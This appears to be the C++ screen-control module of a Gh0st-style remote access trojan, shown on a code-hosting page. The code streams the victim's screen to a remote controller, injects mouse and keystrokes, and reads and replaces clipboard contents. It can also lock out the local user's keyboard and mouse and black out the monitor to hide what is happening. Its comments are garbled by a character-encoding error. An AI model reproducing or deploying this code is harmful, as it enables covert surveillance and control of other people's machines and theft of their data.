2024-06-23 17:36:53 +08:00

455 lines
11 KiB
C++
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// ScreenManagers.cpp: implementation of the CScreenManagers class.
//
//////////////////////////////////////////////////////////////////////
//#define _WIN32_WINNT 0x0400
#include "ScreenManagers.h"
#include "../until.h"
#include <winable.h> // BlockInput
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CScreenManagers::CScreenManagers(CClientSocket *pClient):CManager(pClient)
{
m_bAlgorithm = ALGORITHM_SCAN;
// m_biBitCount = 8;
// m_pScreenSpy = new CScreenSpy(8);
m_biBitCount = 3;//ĬÈÏ4λ»Ò¶È
m_pScreenSpy = new CScreenSpys(4, true);//ĬÈÏ4λ»Ò¶È
// m_biBitCount = 1;//ĬÈÏ1λºÚ°×
// m_pScreenSpy = new CScreenSpy(1);//ĬÈÏ1λºÚ°×
m_bIsWorking = true;
m_bIsBlankScreen = false;
m_bIsBlockInput = false;
m_bIsCaptureLayer = false;
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
}
CScreenManagers::~CScreenManagers()
{
InterlockedExchange((LPLONG)&m_bIsBlankScreen, false);
InterlockedExchange((LPLONG)&m_bIsWorking, false);
WaitForSingleObject(m_hWorkThread, INFINITE);
WaitForSingleObject(m_hBlankThread, INFINITE);
CloseHandle(m_hWorkThread);
CloseHandle(m_hBlankThread);
if (m_pScreenSpy)
delete m_pScreenSpy;
}
void CScreenManagers::ResetScreen(int biBitCount)
{
// char string[25];
// itoa(biBitCount,string,10);
// OutputDebugString(string);
m_bIsWorking = false;
WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread);
delete m_pScreenSpy;
if (biBitCount == 3) // 4λ»Ò¶È
m_pScreenSpy = new CScreenSpys(4, true);
else if (biBitCount == 7) // 8λ»Ò¶È
m_pScreenSpy = new CScreenSpys(8, true);
else
m_pScreenSpy = new CScreenSpys(biBitCount);
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
m_biBitCount = biBitCount;
m_bIsWorking = true;
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
}
#include "dwmapi.h"
#pragma comment(lib, "dwmapi.lib")
bool IsCompositionEnabled1()//ÅжÏÊÇ·ñ¿ªÆôAero
{
HRESULT hr;
BOOL bEnabled;
hr = DwmIsCompositionEnabled(&bEnabled);
return SUCCEEDED(hr)&&bEnabled;
}
void OpenWin7Basic1() // win7ÆÁÄ»¼ÓËÙ~¿ªÊ¼
{
if (IsCompositionEnabled1())
{
DwmEnableComposition(0);//¹Ø±ÕbasicÖ÷Ìâ
}
else
{
DwmEnableComposition(1);//¿ªÆôbasicÖ÷Ìâ
}
}
void Win7Basic1() // win7ÆÁÄ»¼ÓËÙ
{
HMODULE library = LoadLibrary("dwmapi.dll");//ûÓÐdwmapi.dllºÎÀ´µÄwin7/vista
if (library != NULL)
{
if (GetProcAddress(library,"DwmIsCompositionEnabled") != NULL)
{
if (GetProcAddress(library,"DwmEnableComposition") != NULL)
{
OpenWin7Basic1();
}
}
FreeLibrary(library);
}
}
void CScreenManagers::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
try
{
switch (lpBuffer[0])
{
case COMMAND_SCREEN_CONTROL1:
{
// Ô¶³ÌÈÔÈ»¿ÉÒÔ²Ù×÷
BlockInput(false);
ProcessCommand(lpBuffer + 1, nSize - 1);
BlockInput(m_bIsBlockInput);
// OutputDebugString("ok");
}
break;
case COMMAND_NEXT1:
// ֪ͨÄÚºËÔ¶³Ì¿ØÖƶ˶Ի°¿òÒÑ´ò¿ª£¬WaitForDialogOpen¿ÉÒÔ·µ»Ø
NotifyDialogIsOpen();
break;
case COMMAND_SCREEN_RESET1:
ResetScreen(*(LPBYTE)&lpBuffer[1]);
break;
case COMMAND_ALGORITHM_RESET1:
m_bAlgorithm = *(LPBYTE)&lpBuffer[1];
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
break;
case COMMAND_SCREEN_CTRL_ALT_DEL1:
::SimulateCtrlAltDel();
break;
case COMMAND_SCREEN_BLOCK_INPUT1: //ControlThreadÀïËø¶¨
m_bIsBlockInput = *(LPBYTE)&lpBuffer[1];
BlockInput(m_bIsBlockInput);
break;
case COMMAND_SCREEN_BLANK1:
m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1];
break;
case COMMAND_SCREEN_CAPTURE_LAYER1:
m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1];
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
break;
case COMMAND_SCREEN_GET_CLIPBOARD1:
SendLocalClipboard();
break;
case COMMAND_SCREEN_SET_CLIPBOARD1:
UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1);
break;
case COMMAND_WIN7BASIC1:
Win7Basic1();
break;
default:
break;
}
}catch(...){}
}
void CScreenManagers::sendBITMAPINFO()
{
DWORD dwBytesLength = 1 + m_pScreenSpy->getBISize();
LPBYTE lpBuffer = (LPBYTE)VirtualAlloc(NULL, dwBytesLength, MEM_COMMIT, PAGE_READWRITE);
lpBuffer[0] = TOKEN_BITMAPINFO1;
memcpy(lpBuffer + 1, m_pScreenSpy->getBI(), dwBytesLength - 1);
Send(lpBuffer, dwBytesLength);
VirtualFree(lpBuffer, 0, MEM_RELEASE);
}
void CScreenManagers::sendFirstScreen()
{
BOOL bRet = false;
LPVOID lpFirstScreen = NULL;
lpFirstScreen = m_pScreenSpy->getFirstScreen();
if (lpFirstScreen == NULL)
return;
DWORD dwBytesLength = 1 + m_pScreenSpy->getFirstImageSize();
LPBYTE lpBuffer = new BYTE[dwBytesLength];
if (lpBuffer == NULL)
return;
lpBuffer[0] = TOKEN_FIRSTSCREEN1;
memcpy(lpBuffer + 1, lpFirstScreen, dwBytesLength - 1);
Send(lpBuffer, dwBytesLength);
delete [] lpBuffer;
}
void CScreenManagers::sendNextScreen()
{
LPVOID lpNetScreen = NULL;
DWORD dwBytes;
lpNetScreen = m_pScreenSpy->getNextScreen(&dwBytes);
if (dwBytes == 0 || !lpNetScreen)
return;
DWORD dwBytesLength = 1 + dwBytes;
LPBYTE lpBuffer = new BYTE[dwBytesLength];
if (!lpBuffer)
return;
lpBuffer[0] = TOKEN_NEXTSCREEN1;
memcpy(lpBuffer + 1, (const char *)lpNetScreen, dwBytes);
Send(lpBuffer, dwBytesLength);
delete [] lpBuffer;
}
DWORD WINAPI CScreenManagers::WorkThread(LPVOID lparam)
{
CScreenManagers *pThis = (CScreenManagers *)lparam;
pThis->sendBITMAPINFO();
// µÈ¿ØÖƶ˶Ի°¿ò´ò¿ª
pThis->WaitForDialogOpen();
pThis->sendFirstScreen();
try // ¿ØÖƶËÇ¿ÖÆ¹Ø±Õʱ»á³ö´í
{
while (pThis->m_bIsWorking)
pThis->sendNextScreen();
}catch(...){};
return 0;
}
// ´´½¨Õâ¸öÏß³ÌÖ÷ÒªÊÇΪÁ˱£³ÖÒ»Ö±ºÚÆÁ
DWORD WINAPI CScreenManagers::ControlThread(LPVOID lparam)
{
static bool bIsScreenBlanked = false;
CScreenManagers *pThis = (CScreenManagers *)lparam;
while (pThis->IsConnect())
{
// ¼Ó¿ì·´Ó¦ËÙ¶È
for (int i = 0; i < 100; i++)
{
if (pThis->IsConnect())
{
// ·Ö±æÂÊ´óС¸Ä±äÁË
if (pThis->IsMetricsChange())
pThis->ResetScreen(pThis->GetCurrentPixelBits());
Sleep(10);
}
else
break;
}
if (pThis->m_bIsBlankScreen)
{
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
PostMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,(LPARAM)2);
// SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
bIsScreenBlanked = true;
}
else
{
if (bIsScreenBlanked)
{
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
PostMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,(LPARAM)-1);
// SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
bIsScreenBlanked = false;
}
}
BlockInput(pThis->m_bIsBlockInput);
// ·Ö±æÂÊ´óС¸Ä±äÁË
if (pThis->IsMetricsChange())
pThis->ResetScreen(pThis->GetCurrentPixelBits());
}
BlockInput(false);
return -1;
}
#define WM_MOUSEWHEEL 0x020A
#if !defined(GET_WHEEL_DELTA_WPARAM)
#define GET_WHEEL_DELTA_WPARAM(wParam) ((short)HIWORD(wParam))
#endif
bool SwitchInputDesktop()
{
BOOL bRet = false;
DWORD dwLengthNeeded;
HDESK hOldDesktop, hNewDesktop;
char szOldDesktop[256], szNewDesktop[256];
hOldDesktop = GetThreadDesktop(GetCurrentThreadId());
memset(szOldDesktop, 0, sizeof(szOldDesktop));
GetUserObjectInformation(hOldDesktop, UOI_NAME, &szOldDesktop, sizeof(szOldDesktop), &dwLengthNeeded);
hNewDesktop = OpenInputDesktop(0, FALSE, MAXIMUM_ALLOWED);
memset(szNewDesktop, 0, sizeof(szNewDesktop));
GetUserObjectInformation(hNewDesktop, UOI_NAME, &szNewDesktop, sizeof(szNewDesktop), &dwLengthNeeded);
if (lstrcmpi(szOldDesktop, szNewDesktop) != 0)
{
SetThreadDesktop(hNewDesktop);
bRet = true;
}
CloseDesktop(hOldDesktop);
CloseDesktop(hNewDesktop);
return bRet;
}
void CScreenManagers::ProcessCommand( LPBYTE lpBuffer, UINT nSize )
{
// Êý¾Ý°ü²»ºÏ·¨
if (nSize % sizeof(MSG) != 0)
return;
SwitchInputDesktop();
// ÃüÁî¸öÊý
int nCount = nSize / sizeof(MSG);
// ´¦Àí¶à¸öÃüÁî
for (int i = 0; i < nCount; i++)
{
BlockInput(false);
MSG *pMsg = (MSG *)(lpBuffer + i * sizeof(MSG));
switch (pMsg->message)
{
case WM_LBUTTONDOWN:
case WM_LBUTTONUP:
case WM_RBUTTONDOWN:
case WM_RBUTTONUP:
case WM_MOUSEMOVE:
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDBLCLK:
case WM_MBUTTONDOWN:
case WM_MBUTTONUP:
{
POINT point;
point.x = LOWORD(pMsg->lParam);
point.y = HIWORD(pMsg->lParam);
SetCursorPos(point.x, point.y);
SetCapture(WindowFromPoint(point));
}
break;
default:
break;
}
switch(pMsg->message)
{
case WM_LBUTTONDOWN:
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
break;
case WM_LBUTTONUP:
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDOWN:
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
break;
case WM_RBUTTONUP:
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_LBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDOWN:
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
break;
case WM_MBUTTONUP:
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MOUSEWHEEL:
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(pMsg->wParam), 0);
break;
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), 0, 0);
break;
case WM_KEYUP:
case WM_SYSKEYUP:
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), KEYEVENTF_KEYUP, 0);
break;
default:
break;
}
}
}
void CScreenManagers::UpdateLocalClipboard( char *buf, int len )
{
if (!::OpenClipboard(NULL))
return;
::EmptyClipboard();
HGLOBAL hglbCopy = GlobalAlloc(GMEM_DDESHARE, len);
if (hglbCopy != NULL) {
// Lock the handle and copy the text to the buffer.
LPTSTR lptstrCopy = (LPTSTR) GlobalLock(hglbCopy);
memcpy(lptstrCopy, buf, len);
GlobalUnlock(hglbCopy); // Place the handle on the clipboard.
SetClipboardData(CF_TEXT, hglbCopy);
GlobalFree(hglbCopy);
}
CloseClipboard();
}
void CScreenManagers::SendLocalClipboard()
{
if (!::OpenClipboard(NULL))
return;
HGLOBAL hglb = GetClipboardData(CF_TEXT);
if (hglb == NULL)
{
::CloseClipboard();
return;
}
int nPacketLen = GlobalSize(hglb) + 1;
LPSTR lpstr = (LPSTR) GlobalLock(hglb);
LPBYTE lpData = new BYTE[nPacketLen];
lpData[0] = TOKEN_CLIPBOARD_TEXT1;
memcpy(lpData + 1, lpstr, nPacketLen - 1);
::GlobalUnlock(hglb);
::CloseClipboard();
Send(lpData, nPacketLen);
delete[] lpData;
}
// ÆÁÄ»·Ö±æÂÊÊÇ·ñ·¢Éú¸Ä±ä
bool CScreenManagers::IsMetricsChange()
{
LPBITMAPINFO lpbmi = m_pScreenSpy->getBI();
return (lpbmi->bmiHeader.biWidth != ::GetSystemMetrics(SM_CXSCREEN)) ||
(lpbmi->bmiHeader.biHeight != ::GetSystemMetrics(SM_CYSCREEN));
}
bool CScreenManagers::IsConnect()
{
return m_pClient->IsRunning();
}
int CScreenManagers::GetCurrentPixelBits()
{
return m_biBitCount;
}